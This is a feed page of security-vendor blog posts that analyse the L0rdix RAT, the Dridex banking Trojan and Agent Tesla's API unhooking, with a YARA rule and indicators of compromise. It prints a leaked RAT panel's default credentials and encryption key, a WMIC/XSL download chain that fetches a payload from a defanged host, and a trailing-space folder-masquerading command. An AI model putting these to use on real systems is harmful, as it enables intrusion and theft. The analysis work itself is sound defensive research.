Quantcast
Channel: Bromium
Viewing all 202 articles
Browse latest View live

An Analysis of L0rdix RAT, Panel and Builder

$
0
0

L0rdix is a multipurpose remote access tool (RAT) that was first discovered being sold on underground criminal forums in November 2018. Shortly after its discovery, Ben Hunter of enSilo analysed the RAT’s functionality. Although L0rdix’s author set the price of the RAT at 4000 RUB (64 USD), for many cyber criminals even this was too high a price. In June 2019, a cracked version of the RAT’s builder and admin panel began circulating through underground forums. I was especially curious in the admin panel to see if an analysis of it would lead to a better understanding of L0rdix and potentially improve its detection in the wild.

Figure 1 – Advert for a cracked copy of the L0rdix RAT panel and builder on an underground forum in June 2019.

L0rdix’s Admin Panel

The admin panel consists of three components: a HTTP web server for the operator to administer their bots, a pre-made MySQL database for storing data from infected systems, and PHP scripts to send bot commands, process data received from bots and interface with the database.

By default, the URI of the L0rdix panel login page is webserver.tld/admin_login. Unlike many other RATs, L0rdix’s login page is simple and does not advertise its namesake.

Figure 2 – Login page of L0rdix’s panel.

Figure 3 – The main dashboard of the L0rdix panel.

By querying the panel’s MySQL database it was possible to understand the types of data L0rdix steals from its victims, its default configuration settings, and make an assessment about the sophistication of the malware. In the case of L0rdix, its database contains seven tables shown in figure 4, indicating that this RAT is not particularly complex.

Figure 4 – Tables in the MySQL database for the L0rdix panel.

The “victims” table contains basic hardware and configuration information about infected systems, their location calculated using a geoIP database bundled with the panel, and the hash rate of the cryptominer (the open source Monero miner, XMRig) that L0rdix can command bots to download once persistent. Many of the fields relate to cryptomining, for instance one field is designated for the model of GPU used by the infected host, highlighting how important (and lucrative) L0rdix’s author considers cryptojacking as a monetisation activity. We’ve written about cryptojacking before on this blog. In our assessment, it’s likely that the rebound in the value of cryptocurrencies in the first half of 2019 is one of the drivers for the  increase in cryptominer campaigns.

Default Panel Credentials

The “config” table contains the default login credentials to access the panel:

  • Username: “root”
  • Password: “toor”

It’s possible that L0rdix’s author is familiar with the Kali Linux distribution, given that they share the same default credentials.

Figure 5 – The default configuration of L0rdix RAT.

Out of the box, L0rdix operators are able to send eight commands to bots, although custom commands can be defined and added. These include:

  • Download and execute
  • Update
  • Open page (visible)
  • Open page (invisible)
  • Cmd
  • Kill process
  • Upload file
  • HTTP Flood

L0rdix’s Command and Control (C2) Encryption and Decryption

L0rdix’s C2 traffic is encrypted using AES symmetric-key encryption using a 256-bit key in Cipher Block Chaining (CBC) mode. When a sample is generated using L0rdix’s builder the operator is able to decide the key to encrypt the C2 traffic. The panel’s encryption function is implemented using the openssl_encrypt PHP function. The function requires a 16-byte initialisation vector (IV), but L0rdix’s author decided to use 16 null bytes. The copy of the panel analysed contained a possible default encryption key 3sc3RLrpd17.

Based on the implementation of the encryption and decryption functions it appears that each L0rdix panel operator must use the same key for every bot they control. From a detection standpoint, this is useful because L0rdix samples can be tied to specific actors based on common keys. Additionally, since the same key must be used for each panel, this means that it is possible to decrypt captured C2 traffic from any bots controlled by a panel where the key is known, for example where the key is extracted from a sample.

Figure 6 – L0rdix’s server-side decryption function.

Figure 7 – L0rdix’s server-side encryption function.

L0rdix’s Builder

The L0rdix builder is simple with only a few configurable options, including specifying the remote IP address or domain where the panel is hosted, generating a mutex to prevent the RAT from repeatedly re-infecting systems, and options to enable certain capabilities in the malware.

Figure 8 – L0rdix RAT builder.

L0rdix implements anti-analysis measures, such as enumerating running processes and stopping the RAT from exposing its functionality if common analysis tools are detected. The RAT also checks if it is running in a virtual machine or Sandboxie, a sandbox product.

Figure 9 – L0rdix checks its runtime environment for common analysis tools.

The L0rdix bot tries to make its C2 communications blend in with legitimate traffic by using the User-Agent string for Firefox 53 on Windows 10, which is hardcoded in the RAT:

  • Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0

It also uses the WMI namespace, root\SecurityCenter2, to identify which antivirus is installed on the system, which is subsequently sent to the admin panel.

Figure 10 – L0rdix uses WMI to identify antivirus software installed on the infected system.

Conclusion

Based on this leak, L0rdix RAT has not evolved much since it first entered the scene in November 2018. Despite being advertised as a general purpose RAT, much of its functionality is geared towards cryptojacking. It is possible that this is a response by L0rdix’s author to meet the rising demand for cryptomining botnets.

YARA Signature

As part of this research a YARA rule was written to detect L0rdix binaries, which we are sharing with the community.

rule win_l0rdix {
	meta:
		author = "Alex Holland (Bromium Labs)"
		date = "2019-07-19"
		sample_1 = "18C6AAF76985404A276466D73A89AC5B1652F8E9659473F5D6D656CA2705B0D3"
		sample_2 = "C2A4D706D713937F47951D4E6E975754C137159DC2C30715D03331FC515AE4E8"
		
	strings:
		$ua = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" wide // Firefox 53 on Windows 10
		$sig = "L0rdix" wide ascii
		$sched_task = "ApplicationUpdateCallback" wide
		$exe = "syscall.exe" wide
		$cnc_url_1 = "connect.php?" wide
		$cnc_url_2 = "show.php" wide 
		$browser_1 = "\\Kometa\\User Data\\Default\\Cookies" wide 
		$browser_2 = "\\Orbitum\\User Data\\Default\\Cookies" wide
		$browser_3 = "\\Amigo\\User\\User Data\\Default\\Cookies" wide
		$coin_regex_1 = "[13][a-km-zA-HJ-NP-Z1-9]{25,34}" wide // Bitcoin
		$coin_regex_2 = "0x[a-fA-F0-9]{40}" wide // Ethereum
		$coin_regex_3 = "L[a-zA-Z0-9]{26,33}" wide // Litecoin
		
	condition:
		uint16(0) == 0x5A4D and (any of ($ua,$sig,$sched_task,$exe)) and (any of ($cnc_url_*)) and (any of ($browser_*)) and (any of ($coin_regex_*))
}

The post An Analysis of L0rdix RAT, Panel and Builder appeared first on Bromium.


Cylance AI anti-virus algorithm is fooled into accepting malware – hotfix issued

Email threat confidence sky high, but is it misplaced?

Dridex’s Bag of Tricks: An Analysis of its Masquerading and Code Injection Techniques

$
0
0
  • A new variant of Dridex observed in July 2019 masquerades as legitimate Windows system processes to avoid detection.  
  • The variant uses five code injection techniques during its infection lifecycle: AtomBombing, DLL order hijacking, process hollowing, PE injection and thread execution hijacking. 
  • The code injection techniques were used against legitimate Windows executables. An incremental integer value is supplied to the command line to the suspended process to perform specific tasks. 

Since the lull in Emotet activity at the beginning of June 2019 and AZORultDridex and ransomware campaigns have become more prominent. In July 2019 we observed a phishing campaign delivering the Dridex banking Trojan. The payload was isolated by Bromium Secure Platform and captured the malware, which helped us to analyse its infection chain and to understand how the attack worked. In this blog post, we go through the stages of its infection chain to showcase how Dridex uses five code injection techniques to masquerade itself as legitimate Windows processes (MITRE ATT&CK technique T1036) to avoid detection.

Before jumping into the behavioural analysis, we will first demonstrate the execution of this latest Dridex sample within a micro-VM and how Bromium safeguards the enuser by isolating the attack and maintaining the integrity of the system. 

Dridex’s Encounter with Bromium

Here’s what the video shows:

  • Bromium Secure Platform opens each document in separate micro-VM.
  • Bromium Live View shows a list of active micro-VMs. 
  • We can see in Live View that the invoice.doc file is opened in a micro-VM. 
  • When the file is closed, the micro-VM is destroyed, along with any malware. 
  • Forensic evidence is captured from the threat, including any behaviour mapped to the MITRE ATT&CK framework.  
  • A detailed view of high severity alerts raised during the lifetime of the micro-VM helps security teams to investigate the actions of the malware so that the motivations of the attacker can be understood. 

Please note that the video does not feature audio.

Behavioural Analysis 

  • Filename: Invoice.doc  
  • Size: 75.5 KB (77312 bytes) 
  • MD5: 0fe77bc5e76660ad45379204aa4d013c  
  • SHA1: c338882c64eb012855096e73edfec3c733ea9053 
  • SHA256: 72da2959520e824a617a5a174b1bc1a8bd6d83daf83eabb5937640f1efa37bcd 

Figure 1 – Dridex infection lifecycle observed in July 2019. 

Stage 1 – Downloader 

The Dridex downloader arrived as a Microsoft Word 97-2003 document (.DOC) that was encrypted with the password 123. It contained two Visual Basic for Applications (VBA) macro subroutines, Document_Open and main. To view the content of the macro code, you can open it in Microsoft Word’s VBA Editor within Bromium Secure View.

Figure 2 - Document_Open and main subroutines.

Figure 2 – Document_Open and main subroutines.

Although both subroutines were mildly obfuscated, numerous strings revealing how the downloader works were identifiable without debugging the code. One can see on the left side of figure 3 that the macro project contains a user form named a0woxm. Inside the form there an embedded text property contains an Extensible Stylesheet Language (XSL) script. The main subroutine creates an object called aXtIkN from the form and assigns its text property to the string variable aHwPzG. Later, it passes aHwPzG along with the variable agvpx to the method adWspA8. String variable agvpx contains the path of the XSL file (C:\\Windows\\Temp\\aXwZvnt48.xsl). Method adWspA8 creates a TextStream object from Scripting.FileSystemObject and calls the CreateTextFile method to write data from aHwPzG to the file aXwZvnt48.xsl. 

Figure 3 – Highlighted sections in the main subroutine which writes an embedded XSL script to a file in the user's %TEMP% directory.

Figure 3 – Highlighted sections in the main subroutine which writes an embedded XSL script to a file in the user’s %TEMP% directory.

To evade static detection, the subroutines contained reversed strings that reference Windows Management Instrumentation Command line (WMIC) commands. The StrReverse function is used to reverse these strings during the macro’s execution. The variable a5rk9 contains the value “wmic os get /format:” which is combined with the variable agvpx to build the shell command: 

  • wmic os get /format:”C:\\Windows\\Temp\\aXwZvnt48.xsl” 
Figure 4 – Shell command in main macro, which executes an XSL file using WMIC.

Figure 4 – Shell command in main macro, which executes an XSL file using WMIC.

XSL is a language similar in function to CSS that is used for expressing how XML documents are formatted. Crucially, it supports scripting languages including JScript and VBScript, allowing an attacker to use the language to execute malicious codeTypically, XSL scripts are run using Windows Script Host, but they can also be executed using WMIC. 

Here the downloader useWMIC to execute an XSL script containing JScript that downloads the Dridex payload. This technique falls within Microsoft’s taxonomy of fileless threats as a Type III attack and showcases MITRE ATT&CK technique T1120. WMIC can process and execute locally and remotely hosted XSL scripts in memory, a technique commonly known as SquiblyTwo. Using WMIC, attackers can execute JScript embedded inside an XSL file, even if Windows Script Host is disabled on the system. 

The XSL script contains two functions. Function aawg1 creates an XMLHTTP object to send a HTTP GET request to download the Dridex executable from the URL hxxps://carmelavalles[.]com/site/wp-admin/chrome.bin. It then creates an ActiveX stream object (ADODB.Stream) and sets the buffer to the response body received from the earlier HTTP request. Next, it retrieves the method name SaveToFile from function axas5v9 by specifying the fifth element in the array. Afterwards, it calls the SaveToFile method, specifying the filename as “c:\windows\temp\awMiOFl[.]exe” and option 2 (adSaveCreateOverWrite). This option means that the stream object will overwrite the destination file if file with the same name already exists. After saving the file on disk, the XSL script deletes itself. 

Figure 5 - Contents of XSL script.

Figure 5 – Contents of XSL script.

A quick analysis of dropped payload in pestudio shows indicators that it is malicious including the use of blacklisted sections names .rdata3.qdataaeiand CODE2.  

Figure 6 – Malicious indicators identified by pestudio as part of an initial assessment of awMiOFl.exe.

Figure 6 – Malicious indicators identified by pestudio as part of an initial assessment of awMiOFl.exe.

We then compared it against another dropped Dridex payload and found that both have the same numbers of sectionsExcept for the .text section, all sections have the same raw file size. This indicates the possibility that a polymorphic loader is used to deliver Dridex. 

Figure 7 – Comparison of file sections with another Dridex sample, indicating the use of a polymorphic loader.

Figure 7 – Comparison of file sections with another Dridex sample, indicating the use of a polymorphic loader. 

The dropped payload awMiofl.exe, on execution, unpacks itself in memory and enters a loop for almost nine minutes. In each loop, a call to OutputDebugStringW is made with the string Installing or Installed” followed by a call to the Sleep function for 10 milliseconds. 

Figure 8 – Frequent OutputDebugStringW API calls captured during Dridex’s unpacking routine.

Figure 8 – Frequent OutputDebugStringW API calls captured during Dridex’s unpacking routine.

After exiting the loop, the following registry keys are enumerated to collect basic information about the system, including the CurrentBuild, CurrentVersion, InstallTime and InstallDate.  

  • \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System 
  • \Registry\Machine\Software\Microsoft \Windows NT\CurrentVersion

Stage 2 – Process Injection using AtomBombing

Next, awMiofl.exe opens and injects code into explorer.exe using a technique discovered by enSilo in 2016 called AtomBombing. It works by exploiting Windows global atom tables and Async Procedure Calls (APCs) to inject code into a remote process. 

Figure 9 – Dridex opens and injects itself into explorer.exe using the AtomBombing code injection technique.

Figure 9 – Dridex opens and injects itself into explorer.exe using the AtomBombing code injection technique.

Afterwards, awMiofl.exe iterates through the C:\Windows\System32 directory and calls the FindFirstFileA API with the filename C:\Windows\System32\*.exe. The filename includes a wildcard to match against all .exe files within the System32 directory. For each match, it opens the file and reads its dependent dynamic-link libraries (DLLs). If it matches against list of DLLs then it spawns process in suspended mode and terminatesWe suspect that Dridex does this in preparation for a type of code injection, but in the sample we analysed Dridex terminated the processes. 

Stage 3 – DLL Hijacking  

After that, it creates randomly-named directory at location %APPDATA%Once the directory is created, it copies to the folder the legitimate system executable from C:\Windows\System32 and a malicious 64-bit DLL that matches executable’s library dependency in its Import Address Table (IAT). A popular DLL hijacking technique is to abuse Window’s load order of DLLsBy default, the DLL load order looks for the required DLL in the order of the directories listed below if SafeDllSearchMode is disabled:

  1. The directory path of the loaded application. 
  2. The current directory. 
  3. The system directory. 
  4. The 16-bit system directory. 
  5. The Windows directory. 
  6. The directories that are listed in the PATH environment variable. 

Since awMiofl.exe copies a malicious DLL to the same directory as the legitimate executable, when executable is run, it will load the malicious DLL in the Roaming folder instead of the legitimate one from System32. 

Figure 10 – File-write events for a malicious DLL and a Windows binary at the location %APPDATA%\RC17zE.

Figure 10 – File-write events for a malicious DLL and a Windows binary at the location %APPDATA%\RC17zE.

 

Figure 11 – Dumpbin output shows the dependency of EhStorAuthn.exe on UxTheme.dll.

Figure 11 – Dumpbin output shows the dependency of EhStorAuthn.exe on UxTheme.dll.

Stage 4 – Persistence using Scheduled Tasks 

Afterwards, awMiofl.exe achieves persistence by creating a scheduled task called Bpnayitifvdws which is configured to run C:\Users\[Redacted]\AppData\Roaming\RC17zE\EhStorAuthn.exe every hour. 

Figure 12 – Creation of a scheduled task named Bpnayitifvdws.

 

Figure 13 - Execution of the scheduled task Bpnayitifvdws.

Figure 13 – Execution of the scheduled task Bpnayitifvdws. 

Stage 5 – More DLL Hijacking 

Explorer.exe creates a batch file x3un.cmd in the user’s %TEMPdirectory and drops malicious DLL NqE850.tmp. It then launches cmd.exe and runs x3un.cmd. X3un.cmd contains the command to copy dropped DLL file NqE850.tmp and legitimate Windows binary systemreset.exe from the System32 directory to the newly created directory in the user’s Roaming folderC:\Users\[Redacted]\AppData\Roaming\0l78l. 

Figure 14 - Explorer.exe drops malicious DLL and batch file in %TEMP% and then runs the batch file.

Figure 14 – Explorer.exe drops malicious DLL and batch file in %TEMP% and then runs the batch file.

 

Figure 15 - X3un.cmd copies a malicious DLL and legitimate Windows binary to %APPDATA% folder in preparation for DLL hijacking.

Figure 15 – X3un.cmd copies a malicious DLL and legitimate Windows binary to %APPDATA% folder in preparation for DLL hijacking.

Explorer.exe repeats this step several times to copy different malicious DLLs and legitimate Windows binaries.  

Figure 16 - Directory structure within C:\Users\%USERNAME%\AppData\Roaming. Each folder contains malicious DLL and legitimate Windows binary.

Figure 16 – Directory structure within C:\Users\%USERNAME%\AppData\Roaming. Each folder contains malicious DLL and legitimate Windows binary.

Using DLL hijacking, malware can fool antivirus and endpoint, detection and response tools because the process launched is signed by Microsoft. We checked VirusTotal and none of these dropped DLLs were known by hash due to their polymorphism. If an antivirus scan during DLL load turns out clean, AV will not flag it, until it scans process memory.  

Figure 17 - Dropped DLLs are 64-bit binaries and there is no detection for any of the hashes in VirusTotal even after 15 days.

Figure 17 – Dropped DLLs are 64-bit binaries and there is no detection for any of the hashes in VirusTotal even after 15 days.

Explorer.exe creates a registry key called Fetkovwkmarbx under the Run key with the value C:\Users\[Redacted]\AppData\Roaming\0l78l\systemreset.exe. This means Dridex is launched each time Windows starts, allowing the malware to persist after a reboot.  

Figure 18 – Adds entry Fetkovwkmarbx to the Run key in the registry to persist after reboot and launch after user login.

Figure 18 – Adds entry Fetkovwkmarbx to the Run key in the registry to persist after reboot and launch after user login.

Stage 6 – Creation of Suspended Processes 

Explorer.exe spawns several legitimate Windows binaries from the C:\Windows\System32\ directory in suspended mode to perform remote process code injection and process hollowing. 

Figure 19 - The suspended processes created by explorer.exe from the C:\Windows\System32 directory.

Figure 19 – The suspended processes created by explorer.exe from the C:\Windows\System32 directory.

 

Figure 20 - Explorer.exe perform code injection on a suspended process.

Figure 20 – Explorer.exe perform code injection on a suspended process.

Folder Name Masquerading  

Dridex attempts to evade application whitelists by creating a directory with a trailing whitespace (“C:\Windows ”). This technique abuses the way Windows APIs process MS-DOS style paths with trailing whitespaces. When processing a MS-DOS style path, Windows APIs call a helper function called RtlGetFullPathName_U that removes any trailing whitespaces from the path.  

Explorer.exe creates a directory “C:\Windows \System32” and copies the legitimate whoami.exe program from the real System32 directory along with a malicious DLL called Version.dll. It then launches it with the command line: 

  • “C:\Windows \system32\whoami.exe” 1188 21993FF418 1 

You can try this yourself by running the commands below in Command Prompt, which will create a Windows directory in C:\ but with a trailing space:

  • md “\\?\C:\Windows ”
  • rd /s /q \\?\C:\Windows ” (Note the trailing whitespace.)
Figure 21 – Demonstration of creating a directory with a trailing space using the prefix “\\?\”.

Figure 21 – Demonstration of creating a directory with a trailing space using the prefix “\\?\”.

 

Figure 22 - Dridex abuses MS-DOS path processing via Windows API to whitelist path with trailing whitespace.

Figure 22 – Dridex abuses MS-DOS path processing via Windows API to whitelist path with trailing whitespace.

If Dridex is left running on the system it eventually launches processes from C:\Windows\SysWOW64 in suspended mode, which it uses to inject code into. The argument passed to the process increments by oneindicating it to perform specific tasks. It also modifies and triggers scheduled task Bpnayitifvdws with a new binary path after regular intervals. 

Figure 23 - Legitimate Windows binaries launched from C:\Windows\Syswow64 in suspended mode with the argument 1.

Figure 23 – Legitimate Windows binaries launched from C:\Windows\Syswow64 in suspended mode with the argument 1.

 

Figure 24 - Legitimate Windows binaries launched from C:\Windows\Syswow64 in suspended mode with the argument 2. 

Figure 24 – Legitimate Windows binaries launched from C:\Windows\Syswow64 in suspended mode with the argument 2.

 

Figure 25 - Processes spawned during Dridex’s infection lifecycle. 

Figure 25 – Processes spawned during Dridex’s infection lifecycle.

Conclusion  

Based on the events captured from micro-VM, we can see that Dridex performs at least five different types of code injection:

  • DLL order hijacking 
  • Process hollowing  
  • PE injection 
  • Thread execution hijacking  
  • AtomBombing

Indicators of Compromise (IOCs) 

The following IOCs were collected as part of this blog post. 

SHA256(invoice.doc [Document-Word.Trojan.Encdoc] )  72da2959520e824a617a5a174b1bc1a8bd6d83daf83eabb5937640f1efa37bcd 
SHA256( F43A883A.doc [Document-Word.Trojan.Encdoc])  72da2959520e824a617a5a174b1bc1a8bd6d83daf83eabb5937640f1efa37bcd 
SHA256(aXwZvnt48.xsl [Script-JS.Downloader.Dwb])  6937b640269ab85594954e029f289a6bdee8b7fc2bee6177098efcb5eca7b40f 
SHA256(chrome[1].bin[Win32.Trojan.Cridex])  c690c1e72bfe665f364cbb61c363f291f725b469e55a4c0a703cd729a5e29009 
SHA256( awMiOFl.exe [Win32.Trojan.Cridex])  c690c1e72bfe665f364cbb61c363f291f725b469e55a4c0a703cd729a5e29009 
SHA256( FireFox.exe [Win32.Trojan.Kryptik])  08a00c9be7dd2e64e9b0f6ea85f159275c913faf0aad51884a1eeab3822af246 
SHA256(credui.dll)  085ccc35f1a58e74789a24286d6827914b1887f32abed20a5fa4762a83b18c39 
SHA256(UxTheme.dll)  ead2d523c00beecc598b496c300fb5aa36424b1fe141c629208bd945bf3b7590 
SHA256(VERSION.dll)  8c21e72971b9233d368694697e83d89950b4a63eadb1d76132814caf46f455da 
SHA256(VERSION.dll)  9edee5db42c9e5e717484ae8e2fb7518dfdbc171ba10c4e71a2c39efda91dc66 
SHA256(XmlLite.dll)  7a15c298817cd26c2078ae3fcec917970fc32d476d07ebc6ef16afd8018895ae 
SHA256(DUI70.dll)  880de8b32751c4cc1cd203f40d1019e363095c476003677907dfcd7f62d1b8ef 

 

The post Dridex’s Bag of Tricks: An Analysis of its Masquerading and Code Injection Techniques appeared first on Bromium.

Decrypting L0rdix RAT’s C2

$
0
0

In my previous blog post on L0rdix RAT, I took a look at its panel and builder components that have been circulating through underground forums recently. As part of that analysis, I identified a key (“3sc3RLrpd17”) which was embedded in one of the PHP pages in L0rdix’s panel. A SHA-256 hash is calculated of this key, which is used as the AES key to encrypt and decrypt L0rdix’s command and control (C2) communications. When a sample is generated using L0rdix’s builder, the operator is able to decide this key.

In this post, I examine L0rdix’s C2 encryption and decryption functions in more detail and discuss how to automate the task of identifying, decrypting and extracting L0rdix C2 traffic from a PCAP using Python.

L0rdix’s configuration structure

L0rdix’s configuration contains 10 fields, which are encrypted and sent as URL query strings in a HTTP POST request to the connect.php page of the panel. The configuration settings of deployed bots are updated by sending similar POST requests to the bots from the panel.

Query String Configuration Field
h= Hardware ID
o= Operating system
c= CPU
g= GPU
w= Installed antivirus
p= Privileges of current user
r= Hash rate
f= L0rdix profile in use
rm= RAM
d= Drives

 

L0rdix C2 encryption and decryption steps

L0rdix encrypts its C2 communications using the following steps:

  1. Encrypts the plaintext using AES in Cipher Block Chaining (CBC) mode with a 256-bit key and 16-byte initialisation vector (IV).
  2. Base64 encodes the ciphertext.
  3. Replaces plus (+) characters with tildes (~).
  4. URL encodes the ciphertext.

Figure 1 – L0rdix RAT’s C# encryption function.

For example, the ciphertext of “Windows 7 Enterprise” looks like this:

  • buNpZksa9PSEshjHiM9XNI84ku2X6Zy2Syr7zdzvxMM%3d

We can decrypt the ciphertext by performing the encryption actions in reverse:

  • buNpZksa9PSEshjHiM9XNI84ku2X6Zy2Syr7zdzvxMM= (After URL decoding)
  • 6ee369664b1af4f484b218c788cf57348f3892ed97e99cb64b2afbcddcefc4c3 (Hex representation after Base64 decoding)
  • Windows 7 Enterprise (After AES decryption)

Default key or single operator

After analysing more L0rdix samples in the wild, it became clear that many of them use the key found in the leaked panel to encrypt their C2 channels. There are two realistic possibilities for the re-occurrence of this key:

  1. “3sc3RLrpd17” is the default key that the RAT panel is supplied with from its author and several buyers have not changed it.
  2. The L0rdix samples that use this key are bots controlled by a single operator. Based on the implementation of the encryption and decryption functions, each L0rdix panel operator must use the same key for every bot they control.

There is stronger evidence to indicate that the first possibility is true. For instance, the key is referenced in a coding tutorial on how to encrypt and decrypt data using AES in C# and PHP. L0rdix’s server side encryption and decryption functions closely resemble those in the tutorial, sharing the method (AES-CBC 256), IV (16 null bytes), key (“3sc3RLrpd17”) and programming languages used (C# and PHP). L0rdix’s author may have copied the tutorial’s encryption implementation and decided not to change the key.

Figure 2 – L0rdix panel’s PHP decryption function, including the suspected default operator key.

Figure 3 – Coding tutorial on AES-256 encryption and decryption in PHP.

Automating L0rdix C2 decryption with decrypt_l0rdix_c2.py

Since L0rdix uses symmetric key encryption it was possible to write a Python script (decrypt_l0rdix_c2.py) to parse a PCAP containing L0rdix C2 traffic and decrypt it. The script first identifies L0rdix traffic based on its expected structure by parsing a PCAP using the Pyshark library. For example, since L0rdix has 10 fields in its configuration, there should be at least 10 query strings in a L0rdix C2 URL. The query strings are identified and decoded into a ciphertext before being run through an AES decryption function using the Pycryptodome library.

The script also extracts screenshots that L0rdix RAT periodically takes of infected systems. The traffic is decrypted using the suspected default operator key (“3sc3RLrpd17”), or a user supplied key using the optional -k argument. You can extract the operator key from a L0rdix bot using static analysis. If a L0rdix operator has not changed the operator key from the default one, any captured C2 traffic between their bots and the admin panel can be decrypted using decrypt_l0rdix_c2.py. The script is available to download from GitHub.

Figures 4 and 5 show the output from running the script against L0rdix C2 traffic:

  • decrypt_l0rdix_c2.py -p l0rdix_c2.pcap

Figure 4 – Output from decrypt_l0rdix_c2.py showing identified L0rdix traffic.

Figure 5 – Output from decrypt_l0rdix_c2.py showing extracted screenshots and decrypted traffic. You can see the decrypted values of L0rdix’s configuration.

The post Decrypting L0rdix RAT’s C2 appeared first on Bromium.

Bromium is Coming to DoDIIS

$
0
0
  • Bromium is coming to DoDIIS Worldwide, August 18-21 in Tampa, Florida
  • Join us at Booth 206 for a live product demo
  • Let us show you how Application Isolation and Control can help address your security concerns.

Embrace resiliency at this years’ Department of Defense Intelligence Information System (DoDIIS) Worldwide Conference in Tampa, Florida! This year the Defense Intelligence Agency (DIA) will bring together experts and innovators from the military, industry, government, and academia to share their unique insights on the conference theme: Resiliency, Redundancy and Security:  Adapting to Asymmetric Threats.

If you are attending the conference, we would love to see you at the expo! Visit Bromium at booth 206 to see live demos of Bromium Secure Platform, and learn more about Bromium Protected App.

Bromium Application Isolation and Control solutions stop threats that other solutions miss. Instead of relying on detection alone, we use revolutionary technology to isolate all content in unique, hardware-enforced containers. We would love an opportunity to show you how our innovative technology can help improve your organization’s or agency’s security.

We look forward to chatting with you at DoDIIS!

The post Bromium is Coming to DoDIIS appeared first on Bromium.

Bromium to Speak at Cyber Security Summit Chicago, Aug 27

$
0
0
  • Visit Bromium at the Cyber Security Summit in Chicago on Tuesday, August 27
  • Dan Allen, VP Customer Success, is speaking on the panel, “Incident Response – What to do Before, During and After a Breach”
  • Stop by our booth to see our solutions in action and to chat with our security experts

The fourth annual Cyber Security Summit is coming to Chicago on Tuesday, August 27.

The event is aimed at C-level and technology executives who are responsible for protecting their organizations from cyberattacks. In addition to a packed agenda of presentations and interactive panel discussions, the event offers many networking opportunities, as well as a chance to connect with the most prominent and innovative vendors in the cybersecurity industry.

Be sure to stop by the Bromium booth and have a chat with our endpoint security experts. We will be showing our Bromium Secure Platform live, and would be happy to answer your questions about how hardware-enforced isolation can protect your organization against ransomware, polymorphic malware, and threats that lurk inside email attachments, phishing links, and file downloads.

If you are planning a trip to the Chicago Cyber Security Summit, we hope you will find some time to connect with Bromium. Not going, but would like more information? Contact us, and we will get in touch shortly!

The post Bromium to Speak at Cyber Security Summit Chicago, Aug 27 appeared first on Bromium.

Agent Tesla: Evading EDR by Removing API Hooks

$
0
0

Written by Toby Gray and Ratnesh Pandey.

Endpoint detection and response (EDR) tools rely on operating system events to detect malicious activity that is generated when malware is run. These events are later correlated and analysed to detect anomalous and suspicious behaviour. One of the sources for such events are application program interface (API) hooks that help EDR solutions to trace interesting API calls. We recently came across a phishing campaign delivering the Agent Tesla password-stealing Trojan. While analysing the forensic data captured by Bromium Secure Platform, we noticed memory tampering events in the address space of ntdll.dll, the dynamic-link library (DLL) that exports the Windows Native API. The payload was isolated by Bromium Secure Platform and captured the malware.

The Agent Tesla downloader arrived as a .xls file which drops and executes the primary payload. In this blog post we cover the unhooking of APIs by the dropper to evade detection by tools such as EDR that rely on hooking. In a subsequent blog post, we provide an in-depth analysis of the campaign.

System Calls

A system call is a function in the kernel of an operating system that services requests from users and provides a barrier so that underlying high-privilege resources cannot be directly accessed by the user. On Windows systems, the ntdll.dll library contains user mode system calls. Information about these system calls are stored in an array of function pointers and the System Service Descriptor Table (SSDT).

Figure 1 – The SERVICE_TABLE_DESCRIPTOR data structure contains a pointer to array of system calls.

The “Base” points to the function pointer array and the system call number is an index into this array. These functions are used to request the kernel to perform some action, such as allocating virtual memory in the case of NtAllocateVirtualMemory. For the rest of this discussion we’ll focus on NtProtectVirtualMemory, which is an undocumented system call that’s used to change the permissions of memory.

32-bit code on 64-bit Windows

When a 32-bit program is run on a 64-bit Windows machine, it runs under a system known as Windows on Windows 64 (or WoW64 for short). Because the kernel is running in 64-bit mode, system calls from 32-bit programs all go via a wrapper function, Wow64SystemServiceCall, which is at a known location in memory. This means that ntdll.dll, which contains many system call functions, has a very repetitive structure:

Figure 2 – Disassembly of NtProtectVirtualMemory.

The four lines of the disassembly code of NtProtectVirtualMemory are broken down as:

  • Load the system call number 0x50 into the eax register
  • Put the location of Wow64Transition (0x77BC2430 in the above screenshot) into the edx register
  • Call the function at edx
  • Return from this function

The next system call function, ZwQuerySection, is immediately after this one and follows the same structure, the only difference being loading 0x51 as the system call number rather than 0x50.

Hooking APIs

Security products use API hooking to intercept and record system API calls from software. One way of accomplishing this is to modify the in-memory code for the API that is to be hooked.

When hooked, the first instruction is replaced by an instruction that jumps to the trampoline code generated by the hooking software.

Figure 3 – Original function of NtProtectVirtualMemory is overwritten with 5-byte jmp instruction.

In figure 3, the first instruction of NtProtectVirtualMemory no longer loads 0x50 into eax; instead it redirects execution of the code (or jumps) to the address 0x004F0012. The hooking code will have generated code at that address which:

  • Performs the action that hooking was added for, this could be a combination of:
    • Recording the API call to monitor activity
    • Modifying the API call to prevent certain actions
    • Blocking the API to stop malicious activity
  • Performs the replaced instruction (mov eax, 50 in this case, so setting the eax register to 0x50)
  • Jumps execution back to the next instruction in the original function (0x77BAE215 in this case)

As the original function then continues execution as usual, neither the code calling the API nor the system kernel are aware that the function call has been intercepted.

Malware Unhooking API Hooks

Email Header

  • From: Alhaji Nasiru <sales@gossipnewspro.info >
  • To: <–<Redacted>–.com>
  • Subject: New Purchase Order for August
  • Date: Sun, 28 Jul 2019 16:41:52 -0700
  • Attachment: Signeded-revised-PI.xls

Downloader

  • Filename: Signeded-revised-PI.xls
  • Size: 82 KB (83968 bytes)
  • MD5: C081E4AA1FBEC4857E88E4FBF91FE90E
  • SHA-1: 1F6527CBD8BC83132A89C4F66A897A576259C4A1
  • SHA-256: 42BD54E60C86AE02BCD9BCD02FA82C9D77D831F3EED77DD924E2E6976B9A5808

Dropper

  • Filename: v4bc6f.exe [Win32.Trojan.Injector]
  • File size: 936 KB (958464 bytes)
  • MD5: 97BD950CA1FBD49A632A876A05E7ACEF
  • SHA-1: 6FD6E4B676BD363B817F54F067684A14BA31E053
  • SHA-256: 851AC0EF0956156EFCDDDB15288A6DF82009940D58F851D006732675F3B9AD1D

Modern malware typically relies on polymorphism and obfuscation techniques to evade static detection by signature-based detection technologies such as anti-virus. EDR tools work differently by monitoring system activity and flagging suspicious events if there is a deviation from normal application behaviour or if there is a match against known malicious patterns. Most of these events are generated by hooking APIs. Some security solutions also use API hooks to block malicious processes if a suspicious event is triggered.

When analysing this malicious sample we noticed some unique code that was modifying the memory-mapped ntdll.dll before launching its payload, Agent Tesla (bin.exe). The malware allocates the shellcode and then performs the following actions:

